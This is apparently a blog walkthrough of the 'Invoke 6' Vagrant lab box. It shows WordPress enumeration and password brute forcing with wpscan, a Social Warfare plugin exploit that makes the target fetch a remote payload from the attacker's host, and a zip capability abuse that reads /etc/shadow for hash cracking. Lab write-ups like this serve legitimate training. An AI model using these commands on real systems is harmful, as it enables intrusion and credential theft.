Sitemap

OGC: Invoke 6

Jun 17, 2023

--

Today we will be looking at Invok6 on Vagrant, found here https://app.vagrantup.com/overgrowncarrot1/boxes/Invoke6

Get Ryan Yager’s stories in your inbox

Join Medium for free to get updates from this writer.

Starting off with a RustScan we see the following ports:

Press enter or click to view image in full size

Running a directory buster we can see wordpress:

Press enter or click to view image in full size

Lets enumerate users and plugins and see what we find:

wpscan --url http://192.168.0.44/wordpress -e u 
Press enter or click to view image in full size
wpscan --url http://192.168.0.44/wordpress -U george -P /usr/share/wordlists/fasttrack.txt

When running the above we see something weird, a plugin that was not detected before:

Press enter or click to view image in full size
searchsploit social warfare 
searchsploit -m php/webapps/46794.py
Press enter or click to view image in full size
Press enter or click to view image in full size

Now run the following:

Press enter or click to view image in full size
http://<RHOST IP>/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://<LHOST IP AND PORT>/payload.txt
Press enter or click to view image in full size
getcap -r / 2>/dev/null

We can see zip in capabilites, this is a problem

zip /tmp/shadow.zip /etc/shadow
Press enter or click to view image in full size

Grabbing that hash we can bring it back to ourselves and login as root after cracking it:

Hopefully you learned something with this box. There are quite a few rabbit holes in it, so becareful where you step…

--

--

Ryan Yager
Ryan Yager

Written by Ryan Yager

Known on Twitch and YouTube as OvergrownCarrot1 or OGC